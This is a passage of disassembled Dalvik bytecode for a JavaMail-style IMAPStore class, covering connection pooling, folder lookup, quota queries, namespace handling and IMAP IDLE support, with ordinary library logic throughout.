0000000C invoke-direct DefaultFolder-><init>(IMAPStore)V, v0, p0
:12
00000012 monitor-exit p0
00000014 return-object v0
:16
00000016 move-exception v0
00000018 monitor-exit p0
0000001A throw v0
.catchall {:2 .. :12} :16
.end method
.method getFetchBlockSize()I
.registers 2
00000000 iget v0, p0, IMAPStore->blksize:I
00000004 return v0
.end method
.method public declared-synchronized getFolder(String)Folder
.registers 4
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPStore->checkConnected()V, p0
00000008 new-instance v0, IMAPFolder
0000000C const v1, 0xFFFF
00000012 invoke-direct IMAPFolder-><init>(String, C, IMAPStore)V, v0, p1, v1, p0
:18
00000018 monitor-exit p0
0000001A return-object v0
:1C
0000001C move-exception v0
0000001E monitor-exit p0
00000020 throw v0
.catchall {:2 .. :18} :1C
.end method
.method public declared-synchronized getFolder(URLName)Folder
.registers 5
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPStore->checkConnected()V, p0
00000008 new-instance v0, IMAPFolder
0000000C invoke-virtual URLName->getFile()String, p1
00000012 move-result-object v1
00000014 const v2, 0xFFFF
0000001A invoke-direct IMAPFolder-><init>(String, C, IMAPStore)V, v0, v1, v2, p0
:20
00000020 monitor-exit p0
00000022 return-object v0
:24
00000024 move-exception v0
00000026 monitor-exit p0
00000028 throw v0
.catchall {:2 .. :20} :24
.end method
.method getMinIdleTime()I
.registers 2
00000000 iget v0, p0, IMAPStore->minIdleTime:I
00000004 return v0
.end method
.method public getPersonalNamespaces()[Folder
.registers 3
00000000 invoke-direct IMAPStore->getNamespaces()Namespaces, p0
00000006 move-result-object v0
00000008 if-eqz v0, :14
:C
0000000C iget-object v1, v0, Namespaces->personal:[Namespaces$Namespace
00000010 if-nez v1, :1E
:14
00000014 invoke-super Store->getPersonalNamespaces()[Folder, p0
0000001A move-result-object v0
:1C
0000001C return-object v0
:1E
0000001E iget-object v0, v0, Namespaces->personal:[Namespaces$Namespace
00000022 const/4 v1, 0x0
00000024 invoke-direct IMAPStore->namespaceToFolders([Namespaces$Namespace, String)[Folder, p0, v0, v1
0000002A move-result-object v0
0000002C goto :1C
.end method
.method getProtocol(IMAPFolder)IMAPProtocol
.registers 13
00000000 const/4 v9, 0x0
00000002 move-object v8, v9
:4
00000004 if-eqz v8, :A
:8
00000008 return-object v8
:A
0000000A iget-object v10, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000E monitor-enter v10
:10
00000010 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000014 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000001A move-result-object v0
0000001C invoke-virtual Vector->isEmpty()Z, v0
00000022 move-result v0
00000024 if-nez v0, :62
:28
00000028 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000002C invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000032 move-result-object v0
00000034 invoke-virtual Vector->size()I, v0
0000003A move-result v0
0000003C const/4 v1, 0x1
0000003E if-ne v0, v1, :140
:42
00000042 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000046 invoke-static IMAPStore$ConnectionPool->access$11(IMAPStore$ConnectionPool)Z, v0
0000004C move-result v0
0000004E if-nez v0, :62
:52
00000052 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000056 invoke-static IMAPStore$ConnectionPool->access$12(IMAPStore$ConnectionPool)Z, v0
0000005C move-result v0
0000005E if-eqz v0, :140
:62
00000062 iget-boolean v0, p0, IMAPStore->debug:Z
00000066 if-eqz v0, :78
:6A
0000006A iget-object v0, p0, IMAPStore->out:PrintStream
0000006E const-string v1, "DEBUG: no connections in the pool, creating a new one"
00000072 invoke-virtual PrintStream->println(String)V, v0, v1
:78
00000078 iget-boolean v0, p0, IMAPStore->forcePasswordRefresh:Z
:7C
0000007C if-eqz v0, :C2
:80
00000080 iget-object v0, p0, IMAPStore->host:String
00000084 invoke-static InetAddress->getByName(String)InetAddress, v0
:8A
0000008A move-result-object v1
:8C
0000008C iget-object v0, p0, IMAPStore->session:Session
00000090 iget v2, p0, IMAPStore->port:I
00000094 iget-object v3, p0, IMAPStore->name:String
00000098 const/4 v4, 0x0
0000009A iget-object v5, p0, IMAPStore->user:String
0000009E invoke-virtual/range Session->requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication, v0 .. v5
000000A4 move-result-object v0
000000A6 if-eqz v0, :C2
:AA
000000AA invoke-virtual PasswordAuthentication->getUserName()String, v0
000000B0 move-result-object v1
000000B2 iput-object v1, p0, IMAPStore->user:String
000000B6 invoke-virtual PasswordAuthentication->getPassword()String, v0
000000BC move-result-object v0
000000BE iput-object v0, p0, IMAPStore->password:String
:C2
000000C2 new-instance v0, IMAPProtocol
000000C6 iget-object v1, p0, IMAPStore->name:String
000000CA iget-object v2, p0, IMAPStore->host:String
000000CE iget v3, p0, IMAPStore->port:I
000000D2 iget-object v4, p0, IMAPStore->session:Session
000000D6 invoke-virtual Session->getDebug()Z, v4
000000DC move-result v4
000000DE iget-object v5, p0, IMAPStore->session:Session
000000E2 invoke-virtual Session->getDebugOut()PrintStream, v5
000000E8 move-result-object v5
000000EA iget-object v6, p0, IMAPStore->session:Session
000000EE invoke-virtual Session->getProperties()Properties, v6
000000F4 move-result-object v6
000000F6 iget-boolean v7, p0, IMAPStore->isSSL:Z
000000FA invoke-direct/range IMAPProtocol-><init>(String, String, I, Z, PrintStream, Properties, Z)V, v0 .. v7
:100
00000100 iget-object v1, p0, IMAPStore->user:String
00000104 iget-object v2, p0, IMAPStore->password:String
00000108 invoke-direct IMAPStore->login(IMAPProtocol, String, String)V, p0, v0, v1, v2
:10E
0000010E move-object v8, v0
:110
00000110 if-nez v8, :1E2
:114
00000114 new-instance v0, MessagingException
00000118 const-string v1, "connection failure"
0000011C invoke-direct MessagingException-><init>(String)V, v0, v1
00000122 throw v0
:124
00000124 move-exception v0
00000126 monitor-exit v10
:128
00000128 throw v0
:12A
0000012A move-exception v0
0000012C move-object v1, v9
0000012E goto :8C
:130
00000130 move-exception v1
:132
00000132 if-eqz v0, :13C
:136
00000136 invoke-virtual IMAPProtocol->disconnect()V, v0
:13C
0000013C move-object v8, v9
0000013E goto :110
:140
00000140 iget-boolean v0, p0, IMAPStore->debug:Z
00000144 if-eqz v0, :184
:148
00000148 iget-object v0, p0, IMAPStore->out:PrintStream
0000014C new-instance v1, StringBuilder
00000150 const-string v2, "DEBUG: connection available -- size: "
00000154 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000015A iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000015E invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v2
00000164 move-result-object v2
00000166 invoke-virtual Vector->size()I, v2
0000016C move-result v2
0000016E invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
00000174 move-result-object v1
00000176 invoke-virtual StringBuilder->toString()String, v1
0000017C move-result-object v1
0000017E invoke-virtual PrintStream->println(String)V, v0, v1
:184
00000184 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000188 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
0000018E move-result-object v0
00000190 invoke-virtual Vector->lastElement()Object, v0
00000196 move-result-object v0
00000198 check-cast v0, IMAPProtocol
0000019C iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000001A0 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v1
000001A6 move-result-object v1
000001A8 invoke-virtual Vector->removeElement(Object)Z, v1, v0
000001AE invoke-static System->currentTimeMillis()J
000001B4 move-result-wide v1
000001B6 invoke-virtual IMAPProtocol->getTimestamp()J, v0
000001BC move-result-wide v3
000001BE sub-long/2addr v1, v3
000001C0 iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000001C4 invoke-static IMAPStore$ConnectionPool->access$8(IMAPStore$ConnectionPool)J, v3
:1CA
000001CA move-result-wide v3
000001CC cmp-long v1, v1, v3
000001D0 if-lez v1, :1DA
:1D4
000001D4 invoke-virtual IMAPProtocol->noop()V, v0
:1DA
000001DA invoke-virtual IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
000001E0 move-object v8, v0
:1E2
000001E2 invoke-direct IMAPStore->timeoutConnections()V, p0
000001E8 if-eqz p1, :222
:1EC
000001EC iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000001F0 invoke-static IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
000001F6 move-result-object v0
000001F8 if-nez v0, :210
:1FC
000001FC iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000200 new-instance v1, Vector
00000204 invoke-direct Vector-><init>()V, v1
0000020A invoke-static IMAPStore$ConnectionPool->access$14(IMAPStore$ConnectionPool, Vector)V, v0, v1
:210
00000210 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000214 invoke-static IMAPStore$ConnectionPool->access$13(IMAPStore$ConnectionPool)Vector, v0
0000021A move-result-object v0
0000021C invoke-virtual Vector->addElement(Object)V, v0, p1
:222
00000222 monitor-exit v10
:224
00000224 goto/16 :4
:228
00000228 move-exception v1
:22A
0000022A invoke-virtual IMAPProtocol->removeResponseHandler(ResponseHandler)V, v0, p0
00000230 invoke-virtual IMAPProtocol->disconnect()V, v0
:236
00000236 monitor-exit v10
:238
00000238 move-object v8, v9
0000023A goto/16 :4
:23E
0000023E move-exception v0
00000240 goto/16 :13C
:244
00000244 move-exception v0
00000246 goto :236
:248
00000248 move-exception v0
0000024A move-object v0, v8
0000024C goto/16 :132
.catchall {:10 .. :78} :124
.catch Exception {:78 .. :7C} :248
.catchall {:78 .. :7C} :124
.catch UnknownHostException {:80 .. :8A} :12A
.catch Exception {:80 .. :8A} :248
.catchall {:80 .. :8A} :124
.catch Exception {:8C .. :100} :248
.catchall {:8C .. :100} :124
.catch Exception {:100 .. :10E} :130
.catchall {:100 .. :10E} :124
.catchall {:114 .. :128} :124
.catch Exception {:136 .. :13C} :23E
.catchall {:136 .. :13C} :124
.catchall {:140 .. :1CA} :124
.catch ProtocolException {:1D4 .. :1DA} :228
.catchall {:1D4 .. :1DA} :124
.catchall {:1DA .. :224} :124
.catchall {:22A .. :236} :244
.catchall {:236 .. :238} :124
.end method
.method public declared-synchronized getQuota(String)[Quota
.registers 6
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-direct IMAPStore->checkConnected()V, p0
0000000A const/4 v0, 0x0
0000000C check-cast v0, [Quota
:10
00000010 invoke-virtual IMAPStore->getStoreProtocol()IMAPProtocol, p0
00000016 move-result-object v1
00000018 invoke-virtual IMAPProtocol->getQuotaRoot(String)[Quota, v1, p1
:1E
0000001E move-result-object v0
:20
00000020 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000026 if-nez v1, :30
:2A
0000002A invoke-direct IMAPStore->cleanup()V, p0
:30
00000030 monitor-exit p0
00000032 return-object v0
:34
00000034 move-exception v0
:36
00000036 new-instance v2, MessagingException
0000003A const-string v3, "QUOTA not supported"
0000003E invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000044 throw v2
:46
00000046 move-exception v0
:48
00000048 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000004E if-nez v1, :58
:52
00000052 invoke-direct IMAPStore->cleanup()V, p0
:58
00000058 throw v0
:5A
0000005A move-exception v0
0000005C monitor-exit p0
0000005E throw v0
:60
00000060 move-exception v0
:62
00000062 new-instance v2, StoreClosedException
00000066 invoke-virtual ConnectionException->getMessage()String, v0
0000006C move-result-object v0
0000006E invoke-direct StoreClosedException-><init>(Store, String)V, v2, p0, v0
00000074 throw v2
:76
00000076 move-exception v0
00000078 new-instance v2, MessagingException
0000007C invoke-virtual ProtocolException->getMessage()String, v0
00000082 move-result-object v3
00000084 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
0000008A throw v2
.catchall {:4 .. :10} :5A
.catch BadCommandException {:10 .. :1E} :34
.catch ConnectionException {:10 .. :1E} :60
.catch ProtocolException {:10 .. :1E} :76
.catchall {:10 .. :1E} :46
.catchall {:20 .. :30} :5A
.catchall {:36 .. :46} :46
.catchall {:48 .. :5A} :5A
.catchall {:62 .. :8C} :46
.end method
.method getSession()Session
.registers 2
00000000 iget-object v0, p0, IMAPStore->session:Session
00000004 return-object v0
.end method
.method public getSharedNamespaces()[Folder
.registers 3
00000000 invoke-direct IMAPStore->getNamespaces()Namespaces, p0
00000006 move-result-object v0
00000008 if-eqz v0, :14
:C
0000000C iget-object v1, v0, Namespaces->shared:[Namespaces$Namespace
00000010 if-nez v1, :1E
:14
00000014 invoke-super Store->getSharedNamespaces()[Folder, p0
0000001A move-result-object v0
:1C
0000001C return-object v0
:1E
0000001E iget-object v0, v0, Namespaces->shared:[Namespaces$Namespace
00000022 const/4 v1, 0x0
00000024 invoke-direct IMAPStore->namespaceToFolders([Namespaces$Namespace, String)[Folder, p0, v0, v1
0000002A move-result-object v0
0000002C goto :1C
.end method
.method getStatusCacheTimeout()I
.registers 2
00000000 iget v0, p0, IMAPStore->statusCacheTimeout:I
00000004 return v0
.end method
.method getStoreProtocol()IMAPProtocol
.registers 12
00000000 const/4 v9, 0x0
00000002 move-object v8, v9
:4
00000004 if-eqz v8, :A
:8
00000008 return-object v8
:A
0000000A iget-object v10, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000E monitor-enter v10
:10
00000010 invoke-direct IMAPStore->waitIfIdle()V, p0
00000016 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000001A invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000020 move-result-object v0
00000022 invoke-virtual Vector->isEmpty()Z, v0
00000028 move-result v0
0000002A if-eqz v0, :102
:2E
0000002E iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000032 invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000038 move-result v0
0000003A if-eqz v0, :4C
:3E
0000003E iget-object v0, p0, IMAPStore->out:PrintStream
00000042 const-string v1, "DEBUG: getStoreProtocol() - no connections in the pool, creating a new one"
00000046 invoke-virtual PrintStream->println(String)V, v0, v1
:4C
0000004C new-instance v0, IMAPProtocol
00000050 iget-object v1, p0, IMAPStore->name:String
00000054 iget-object v2, p0, IMAPStore->host:String
00000058 iget v3, p0, IMAPStore->port:I
0000005C iget-object v4, p0, IMAPStore->session:Session
00000060 invoke-virtual Session->getDebug()Z, v4
00000066 move-result v4
00000068 iget-object v5, p0, IMAPStore->session:Session
0000006C invoke-virtual Session->getDebugOut()PrintStream, v5
00000072 move-result-object v5
00000074 iget-object v6, p0, IMAPStore->session:Session
00000078 invoke-virtual Session->getProperties()Properties, v6
0000007E move-result-object v6
00000080 iget-boolean v7, p0, IMAPStore->isSSL:Z
00000084 invoke-direct/range IMAPProtocol-><init>(String, String, I, Z, PrintStream, Properties, Z)V, v0 .. v7
:8A
0000008A iget-object v1, p0, IMAPStore->user:String
0000008E iget-object v2, p0, IMAPStore->password:String
00000092 invoke-direct IMAPStore->login(IMAPProtocol, String, String)V, p0, v0, v1, v2
:98
00000098 move-object v8, v0
:9A
0000009A if-nez v8, :C4
:9E
0000009E new-instance v0, ConnectionException
000000A2 const-string v1, "failed to create new store connection"
000000A6 invoke-direct ConnectionException-><init>(String)V, v0, v1
000000AC throw v0
:AE
000000AE move-exception v0
000000B0 monitor-exit v10
:B2
000000B2 throw v0
:B4
000000B4 move-exception v1
:B6
000000B6 if-eqz v0, :C0
:BA
000000BA invoke-virtual IMAPProtocol->logout()V, v0
:C0
000000C0 move-object v8, v9
000000C2 goto :9A
:C4
000000C4 invoke-virtual IMAPProtocol->addResponseHandler(ResponseHandler)V, v8, p0
000000CA iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000CE invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
000000D4 move-result-object v0
000000D6 invoke-virtual Vector->addElement(Object)V, v0, v8
:DC
000000DC iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000E0 invoke-static IMAPStore$ConnectionPool->access$12(IMAPStore$ConnectionPool)Z, v0
:E6
000000E6 move-result v0
000000E8 if-eqz v0, :170
:EC
000000EC iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000F0 invoke-virtual Object->wait()V, v0
:F6
000000F6 move-object v8, v9
:F8
000000F8 invoke-direct IMAPStore->timeoutConnections()V, p0
000000FE monitor-exit v10
00000100 goto :4
:102
00000102 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000106 invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
0000010C move-result v0
0000010E if-eqz v0, :14E
:112
00000112 iget-object v0, p0, IMAPStore->out:PrintStream
00000116 new-instance v1, StringBuilder
0000011A const-string v2, "DEBUG: getStoreProtocol() - connection available -- size: "
0000011E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000124 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000128 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v2
0000012E move-result-object v2
00000130 invoke-virtual Vector->size()I, v2
00000136 move-result v2
00000138 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
0000013E move-result-object v1
00000140 invoke-virtual StringBuilder->toString()String, v1
00000146 move-result-object v1
00000148 invoke-virtual PrintStream->println(String)V, v0, v1
:14E
0000014E iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000152 invoke-static IMAPStore$ConnectionPool->access$10(IMAPStore$ConnectionPool)Vector, v0
00000158 move-result-object v0
0000015A invoke-virtual Vector->firstElement()Object, v0
00000160 move-result-object v0
00000162 check-cast v0, IMAPProtocol
00000166 move-object v8, v0
00000168 goto :DC
:16A
0000016A move-exception v0
0000016C move-object v8, v9
0000016E goto :F8
:170
00000170 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000174 const/4 v1, 0x1
00000176 invoke-static IMAPStore$ConnectionPool->access$15(IMAPStore$ConnectionPool, Z)V, v0, v1
0000017C iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000180 invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000186 move-result v0
00000188 if-eqz v0, :F8
:18C
0000018C iget-object v0, p0, IMAPStore->out:PrintStream
00000190 const-string v1, "DEBUG: getStoreProtocol() -- storeConnectionInUse"
00000194 invoke-virtual PrintStream->println(String)V, v0, v1
:19A
0000019A goto :F8
:19C
0000019C move-exception v0
0000019E goto :C0
:1A0
000001A0 move-exception v0
000001A2 move-object v0, v8
000001A4 goto :B6
.catchall {:10 .. :4C} :AE
.catch Exception {:4C .. :8A} :1A0
.catchall {:4C .. :8A} :AE
.catch Exception {:8A .. :98} :B4
.catchall {:8A .. :98} :AE
.catchall {:9E .. :B2} :AE
.catch Exception {:BA .. :C0} :19C
.catchall {:BA .. :C0} :AE
.catchall {:C4 .. :E6} :AE
.catch InterruptedException {:EC .. :F6} :16A
.catchall {:EC .. :F6} :AE
.catchall {:F8 .. :19A} :AE
.end method
.method public getUserNamespaces(String)[Folder
.registers 4
00000000 invoke-direct IMAPStore->getNamespaces()Namespaces, p0
00000006 move-result-object v0
00000008 if-eqz v0, :14
:C
0000000C iget-object v1, v0, Namespaces->otherUsers:[Namespaces$Namespace
00000010 if-nez v1, :1E
:14
00000014 invoke-super Store->getUserNamespaces(String)[Folder, p0, p1
0000001A move-result-object v0
:1C
0000001C return-object v0
:1E
0000001E iget-object v0, v0, Namespaces->otherUsers:[Namespaces$Namespace
00000022 invoke-direct IMAPStore->namespaceToFolders([Namespaces$Namespace, String)[Folder, p0, v0, p1
00000028 move-result-object v0
0000002A goto :1C
.end method
.method public handleResponse(Response)V
.registers 4
00000000 invoke-virtual Response->isOK()Z, p1
00000006 move-result v0
00000008 if-nez v0, :30
:C
0000000C invoke-virtual Response->isNO()Z, p1
00000012 move-result v0
00000014 if-nez v0, :30
:18
00000018 invoke-virtual Response->isBAD()Z, p1
0000001E move-result v0
00000020 if-nez v0, :30
:24
00000024 invoke-virtual Response->isBYE()Z, p1
0000002A move-result v0
0000002C if-eqz v0, :36
:30
00000030 invoke-virtual IMAPStore->handleResponseCode(Response)V, p0, p1
:36
00000036 invoke-virtual Response->isBYE()Z, p1
0000003C move-result v0
0000003E if-eqz v0, :6E
:42
00000042 iget-boolean v0, p0, IMAPStore->debug:Z
00000046 if-eqz v0, :58
:4A
0000004A iget-object v0, p0, IMAPStore->out:PrintStream
0000004E const-string v1, "DEBUG: IMAPStore connection dead"
00000052 invoke-virtual PrintStream->println(String)V, v0, v1
:58
00000058 iget-boolean v0, p0, IMAPStore->connected:Z
0000005C if-eqz v0, :6E
:60
00000060 invoke-virtual Response->isSynthetic()Z, p1
00000066 move-result v0
00000068 invoke-direct IMAPStore->cleanup(Z)V, p0, v0
:6E
0000006E return-void
.end method
.method handleResponseCode(Response)V
.registers 8
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 invoke-virtual Response->getRest()String, p1
0000000A move-result-object v2
0000000C const-string v3, "["
00000010 invoke-virtual String->startsWith(String)Z, v2, v3
00000016 move-result v3
00000018 if-eqz v3, :5E
:1C
0000001C const/16 v3, 0x5D
00000020 invoke-virtual String->indexOf(I)I, v2, v3
00000026 move-result v3
00000028 if-lez v3, :4A
:2C
0000002C add-int/lit8 v4, v3, 0x1
00000030 invoke-virtual String->substring(I, I)String, v2, v0, v4
00000036 move-result-object v4
00000038 const-string v5, "[ALERT]"
0000003C invoke-virtual String->equalsIgnoreCase(String)Z, v4, v5
00000042 move-result v4
00000044 if-eqz v4, :4A
:48
00000048 move v0, v1
:4A
0000004A add-int/lit8 v3, v3, 0x1
0000004E invoke-virtual String->substring(I)String, v2, v3
00000054 move-result-object v2
00000056 invoke-virtual String->trim()String, v2
0000005C move-result-object v2
:5E
0000005E if-eqz v0, :6A
:62
00000062 invoke-virtual IMAPStore->notifyStoreListeners(I, String)V, p0, v1, v2
:68
00000068 return-void
:6A
0000006A invoke-virtual Response->isUnTagged()Z, p1
00000070 move-result v0
00000072 if-eqz v0, :68
:76
00000076 invoke-virtual String->length()I, v2
0000007C move-result v0
0000007E if-lez v0, :68
:82
00000082 const/4 v0, 0x2
00000084 invoke-virtual IMAPStore->notifyStoreListeners(I, String)V, p0, v0, v2
0000008A goto :68
.end method
.method public declared-synchronized hasCapability(String)Z
.registers 6
00000000 monitor-enter p0
00000002 const/4 v1, 0x0
:4
00000004 invoke-virtual IMAPStore->getStoreProtocol()IMAPProtocol, p0
0000000A move-result-object v1
0000000C invoke-virtual IMAPProtocol->hasCapability(String)Z, v1, p1
:12
00000012 move-result v0
:14
00000014 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:1A
0000001A monitor-exit p0
0000001C return v0
:1E
0000001E move-exception v0
00000020 if-nez v1, :2A
:24
00000024 invoke-direct IMAPStore->cleanup()V, p0
:2A
0000002A new-instance v2, MessagingException
0000002E invoke-virtual ProtocolException->getMessage()String, v0
00000034 move-result-object v3
00000036 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
0000003C throw v2
:3E
0000003E move-exception v0
:40
00000040 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000046 throw v0
:48
00000048 move-exception v0
0000004A monitor-exit p0
0000004C throw v0
.catch ProtocolException {:4 .. :12} :1E
.catchall {:4 .. :12} :3E
.catchall {:14 .. :1A} :48
.catchall {:24 .. :3E} :3E
.catchall {:40 .. :48} :48
.end method
.method hasSeparateStoreConnection()Z
.registers 2
00000000 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000004 invoke-static IMAPStore$ConnectionPool->access$11(IMAPStore$ConnectionPool)Z, v0
0000000A move-result v0
0000000C return v0
.end method
.method public idle()V
.registers 6
00000000 const/4 v1, 0x0
00000002 sget-boolean v0, IMAPStore->$assertionsDisabled:Z
00000006 if-nez v0, :26
:A
0000000A iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000000E invoke-static Thread->holdsLock(Object)Z, v0
00000014 move-result v0
00000016 if-eqz v0, :26
:1A
0000001A new-instance v0, AssertionError
0000001E invoke-direct AssertionError-><init>()V, v0
00000024 throw v0
:26
00000026 monitor-enter p0
:28
00000028 invoke-direct IMAPStore->checkConnected()V, p0
0000002E monitor-exit p0
:30
00000030 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000034 monitor-enter v2
:36
00000036 invoke-virtual IMAPStore->getStoreProtocol()IMAPProtocol, p0
0000003C move-result-object v1
0000003E iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000042 invoke-static IMAPStore$ConnectionPool->access$19(IMAPStore$ConnectionPool)I, v0
00000048 move-result v0
0000004A if-nez v0, :E2
:4E
0000004E invoke-virtual IMAPProtocol->idleStart()V, v1
00000054 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000058 const/4 v3, 0x1
0000005A invoke-static IMAPStore$ConnectionPool->access$20(IMAPStore$ConnectionPool, I)V, v0, v3
00000060 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000064 invoke-static IMAPStore$ConnectionPool->access$18(IMAPStore$ConnectionPool, IMAPProtocol)V, v0, v1
0000006A monitor-exit v2
:6C
0000006C invoke-virtual IMAPProtocol->readIdleResponse()Response, v1
00000072 move-result-object v0
00000074 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000078 monitor-enter v2
:7A
0000007A if-eqz v0, :8A
:7E
0000007E invoke-virtual IMAPProtocol->processIdleResponse(Response)Z, v1, v0
00000084 move-result v3
00000086 if-nez v3, :15A
:8A
0000008A iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000008E const/4 v3, 0x0
00000090 invoke-static IMAPStore$ConnectionPool->access$20(IMAPStore$ConnectionPool, I)V, v0, v3
00000096 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000009A invoke-virtual Object->notifyAll()V, v0
000000A0 monitor-exit v2
:A2
000000A2 invoke-virtual IMAPStore->getMinIdleTime()I, p0
:A8
000000A8 move-result v0
000000AA if-lez v0, :B6
:AE
000000AE int-to-long v2, v0
:B0
000000B0 invoke-static Thread->sleep(J)V, v2, v3
:B6
000000B6 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000BA monitor-enter v2
:BC
000000BC iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000C0 const/4 v3, 0x0
000000C2 invoke-static IMAPStore$ConnectionPool->access$18(IMAPStore$ConnectionPool, IMAPProtocol)V, v0, v3
000000C8 monitor-exit v2
:CA
000000CA invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
000000D0 if-nez v1, :DA
:D4
000000D4 invoke-direct IMAPStore->cleanup()V, p0
:DA
000000DA return-void
:DC
000000DC move-exception v0
:DE
000000DE monitor-exit p0
:E0
000000E0 throw v0
:E2
000000E2 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000E6 invoke-virtual Object->wait()V, v0
:EC
000000EC monitor-exit v2
:EE
000000EE iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000F2 monitor-enter v2
:F4
000000F4 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000000F8 const/4 v3, 0x0
000000FA invoke-static IMAPStore$ConnectionPool->access$18(IMAPStore$ConnectionPool, IMAPProtocol)V, v0, v3
00000100 monitor-exit v2
:102
00000102 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000108 if-nez v1, :DA
:10C
0000010C invoke-direct IMAPStore->cleanup()V, p0
00000112 goto :DA
:114
00000114 move-exception v0
:116
00000116 monitor-exit v2
:118
00000118 throw v0
:11A
0000011A move-exception v0
:11C
0000011C monitor-exit v2
:11E
0000011E throw v0
:120
00000120 move-exception v0
:122
00000122 new-instance v2, MessagingException
00000126 const-string v3, "IDLE not supported"
0000012A invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000130 throw v2
:132
00000132 move-exception v0
00000134 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000138 monitor-enter v2
:13A
0000013A iget-object v3, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000013E const/4 v4, 0x0
00000140 invoke-static IMAPStore$ConnectionPool->access$18(IMAPStore$ConnectionPool, IMAPProtocol)V, v3, v4
00000146 monitor-exit v2
:148
00000148 invoke-virtual IMAPStore->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000014E if-nez v1, :158
:152
00000152 invoke-direct IMAPStore->cleanup()V, p0
:158
00000158 throw v0
:15A
0000015A monitor-exit v2
:15C
0000015C iget-boolean v2, p0, IMAPStore->enableImapEvents:Z
00000160 if-eqz v2, :6C
:164
00000164 invoke-virtual Response->isUnTagged()Z, v0
0000016A move-result v2
0000016C if-eqz v2, :6C
:170
00000170 const/16 v2, 0x3E8
00000174 invoke-virtual Response->toString()String, v0
0000017A move-result-object v0
0000017C invoke-virtual IMAPStore->notifyStoreListeners(I, String)V, p0, v2, v0
:182
00000182 goto/16 :6C
:186
00000186 move-exception v0
:188
00000188 new-instance v2, StoreClosedException
